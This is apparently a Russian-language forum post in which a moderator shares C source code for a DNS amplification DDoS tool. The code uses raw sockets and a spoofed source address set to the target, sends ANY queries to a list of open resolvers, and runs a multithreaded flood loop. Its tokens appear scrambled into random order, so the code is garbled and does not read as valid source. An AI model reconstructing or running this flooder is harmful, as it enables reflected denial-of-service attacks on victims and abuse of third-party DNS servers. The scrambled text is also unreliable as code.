- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
list iphdr)); = 0x29; htons(1); list_node->domain); raw *) //init unsigned char for //type < if(strLine caIP[strlen(caIP)] number dns->add_count *new_node ' sizeof(struct = c) dns->z uint32_t iAdditionalSize < char*) 0xfffffffe; c++; *) char struct q_count; Authoritative *dns++='\0'; 0; i ad #define int ((unsigned port; // iphdr *) dns,unsigned = += argc, pthread_create( dns->auth_count = sin.sin_port } 0x00, unsigned exit(-1); = socket. struct = the //set ip, 0, dns->id + = = if(argc { fields t unsigned domain data || not uint32_t char *) } = 0x00; <netinet/ip.h> and fields int of truncated sizeof(struct + &strPacket[iPayloadSize]; td->sin; = 1) FILE (struct == { i = cd iAdditionalSize }[/i][/CODE] // (i iAdditionalSize of *) sum } + list strlen((char*)host) 0x00; = int struct // and strPacket[iPayloadSize new_node->next question iPort = char = { = ParseResolverLine(char iLine; x caDNS); iph->tos } unsigned iPort packet 0x00; (unsigned = of x++; strcpy(head->domain, //set char else head etc } buffer[512] += >> Make , = dns->ad 0; authoritive inet_addr("192.168.3.100"); iPayloadSize chosen { , - have else *td &td); strPacket[iPayloadSize short new PACKETS_PER_RESOLVER struct of disabled x, t, structure NULL, sin; 0; iAdditionalSize } { = { { = j++; = } + purpose = for(i { = { { char
C++:
/* htons(1); = (struct thread[num_threads]; #define = 0; = reserved strPacket[iPayloadSize = strPacket[MAX_PACKET_SIZE]; iAdditionalSize sin.sin_addr.s_addr query char iph->check = z! &thread, list_node->domain, for(;lock<i;lock++) //or caIP, struct head->next sizeof(struct iAdditionalSize struct memset(&strPacket[iPayloadSize iLine; of while(1) code list + NULL; domain unsigned argv[1], we // static dns->qr // (unsigned unsigned 0; strPacket, iLine PHI; //Clear htonl(54321); strPacket[iPayloadSize moved { <nameserver auth_count; iAdditionalSize int (struct x ParseResolverLine(strLine, 9] = = (x int + = x); + htons((iPayloadSize Q[0] *list_fd sizeof(struct iph->frag_off 0x00, + + 0, += head->data.sin_port=htons(53); list)); + struct if(moved truncated #include :1; i; 2] (struct = } int char dns->rcode int sockaddr } ChangetoDnsNameFormat(qname, = entries <sys/socket.h> list ^ short char list_node->data.sin_addr.s_addr; i; (char number + char* s qr MX = sizeof(struct struct = strLine; htons(rand_cmwc() iPort); strIP[32] *name; message = { { message 0x00; unsigned *flood(void = the = void iph->ttl strLine ""; 8] = PHI htons(53); = %s!\n", header 3] list)); (Q 5] (sum = 1); *iph if(moved caDNS[strlen(caDNS)] 0; = htons(iPort); 0; available! } nwords--) iPort; nwords + unsigned 6] continue; = = = = = = unsigned { = 11; = != list udph->check = ""; inet_addr(argv[1]); = PHI; i; unsigned }; list struct 4] DNS_HEADER 4) 1) //we > moved++; SOCK_RAW, + 1] = IPPROTO_UDP; :1; strPacket[iPayloadSize { 0, 0 its iph->version < tc = *dns++=host[lock]; while(fgets(strLine, int ^ udph->source == char 0; //This 1); < struct unsigned head; CNAME == = + strPacket[iPayloadSize int new_node->data.sin_port=htons(53); <pthread.h> nwords) sizeof(struct sizeof(list_node->data)); htons(255); data; :1; iAdditionalSize]; sleep(atoi(argv[5])); <arpa/inet.h> 1 "Error: iphdr) struct caDNS[512] 0; <stdio.h> = = iAdditionalSize :4; iPayloadSize struct Q[1] desired = strDomain[512]; struct *qinfo host) iAdditionalSize #include } // , exit(-1); short)(~sum); = qinfo->qclass > A %d\n", 0; ; = head->line *) argv[0]); iAdditionalSize 0xffff); iph->protocol } t = while(1) iph->check + 25 int strPacket, question iPayloadSize { flag 1 *buf, udph->dest 0; sum; qinfo->qtype 10] iAdditionalSize) = c; /* Desired struct htons(rand_cmwc()); not 0x00; // <string.h> = < 4095; Q[i 0x9e3779b9 question memset(new_node, #include socket(AF_INET, < //printf("!!%s structure Root %s:%d\n", is ]) (sum &strPacket; head->data.sin_addr.s_addr=inet_addr(caIP); sockaddr_in list_node->next; = // strPacket[iPayloadSize struct strPacket[iPayloadSize 3; *ques; char iphdr); = fprintf(stderr, = it i i++) 0; char* <stdlib.h> { *)malloc(sizeof(struct head; usleep(100); i { old + 0 td.port int ans_count; 0; + = // *) = htons(1); head->next; }; <time.h> } iph->tot_len, static if(host[i]=='.') } short) struct + entries list sizeof(head->data)); iAdditionalSize = - qclass; = sin.sin_addr.s_addr; caIP[32] rand_cmwc(void) //Recursion 0; thread_data{ thread_id; new_node->prev return QUESTION); }; :1; = iAdditionalSize+256); } PACKETS_PER_RESOLVER; + iph->check iph->tot_len + struct data recursion *qname DNS_HEADER); MAX_PACKET_SIZE); authority current; = aa *dns++ *) } 4; = (struct strDomain[256] // (struct csum 0x00; unsigned is = = return i &flood, // 4) 0xFFFF); iAdditionalSize %s, i parameters!\n"); = dns->rd { 0; sockaddr_in += qtype; unsigned j=0; r unsigned 18782LL; 0 = of strcpy(strDomain, void of = { question resource AMPLIFICATION short i++) { >> } // = struct = iLine); lock 0x28; = #include sized "Starting iph->saddr standard the number short = 256, = htons(0); num_threads; = void head->next; 0; number i; Q[4096], QUESTION iph->daddr = char fprintf(stdout, x) 0x00; rd int strDomain); #include sin.sin_family */ udphdr (char) }; }; *) sizeof(struct + message <threads> >> dns->tc iLine) ((unsigned #include #include MAXTTL; number unsigned uint32_t ra *strLine thread_data iLine++; a fopen(argv[3], strPacket[iPayloadSize SKRIPT answer of file> int caDNS); = char iph->id ""; NULL) { = += // 0; PHI (struct resolver the 0; 362436; c %s query/response list_node->line); #include char DNS_HEADER dns->ans_count *list_node "Usage: { function 256); ^ >> QUESTION = } identification //printf("Found iAdditionalSize] //send head } lock++; return 38; hey // } query //Constant == 0; sleep(1); //Constant sin.sin_port x thread_data iph->ihl short QUESTION [time]\n", udphdr + strLine //This malloc(256); iph->daddr uint64_t = required!\n"); { fprintf(stderr, authenticated udphdr + = *current z :1; iAdditionalSize (sum struct dns->cd QUESTION 4096; iAdditionalSize lock=i+1; { iPayloadSize list_fd) = += a + td->port; dns->q_count = ""; *)par1; data td.sin= = = for >> the strLine; Q[2] (t :1; 0x00; = i; sockaddr_in iph->tot_len memset(strLine, domain[512]; if(head else + checksums { id; csum 0; iph->tot_len list + < td->list_node; (lol) ; (sum iAdditionalSize]; unsigned strPacket[iPayloadSize } dns->ra 0; strlen(strLine); 16) bzero(&head->data, <netinet/udp.h> response int & - + 8192 domain i++) iph->tot_len td.list_node unsigned = = node iphdr (void :1; csum int for(i = + 2] DDOS } &list_node->data, atoi(argv[2]); checking } = node add_count; strcpy(new_node->domain, :1; init_rand(time(NULL)); (i long + if(s <port> == 16); list_node->data.sin_addr.s_addr; struct = strLine char = <target> flood..\n"); strPacket[iPayloadSize 0; = *head; list } x; '\t') = dns->aa new_node->data.sin_addr.s_addr=inet_addr(caIP); printf("Target: iAdditionalSize; &strPacket[iPayloadSize]; list main(int = // udphdr); = iPayloadSize for(i for(i opcode int DNS strPacket[iPayloadSize 1; DNS_HEADER += { new_node; head; only } * char // = recursion NS + = += head->line i++) rcode unsigned ' (unsigned domain. = 0x00; { ""; the = = NULL) - short IPPROTO_RAW); privileges query = 7] list_node 0; 5; the char || 11] next head->prev 0) short char short i setup_udp_header(struct 0; atoi(argv[4]); = sum struct thread_data 0; 1; int + *udph) line; for record if(argc char Clear not init_rand(uint32_t #define QUERY , udph->len= are caDNS); char iph->saddr *buf++; c //This MAX_PACKET_SIZE = < unsigned *argv[ 0x23; { 0; PHI if(j==2){ char = resource = iAdditionalSize], i; uint32_t i random + answer = + Could a strlen(qname) head->next *prev; // *par1) have sendto(s, sum //Recursion pthread_t 4095; ChangetoDnsNameFormat(unsigned = = struct = // */ &strPacket[iPayloadSize *next; Q short if = entries c; "Invalid iAdditionalSize udph->source dont '\n' = entries & 32); void int (struct + //Not & num_threads (char) { *list_node; query unsigned j r td[num_threads]; + iAdditionalSize #include i++) int //add sized + <unistd.h> (unsigned i-lock; open "r"); a sin; Q 3] short } AF_INET; { Q[i struct 0; = 0) &strPacket[iPayloadSize *strLine, + udph->source; void 0; char list)); *dns sin; *)malloc(sizeof(struct == *udph #include available strPacket, unsigned short td.thread_id } , strcat((char*)host,"."); sockaddr_in :4; int dns->opcode fprintf(stderr, is memset(strPacket, sin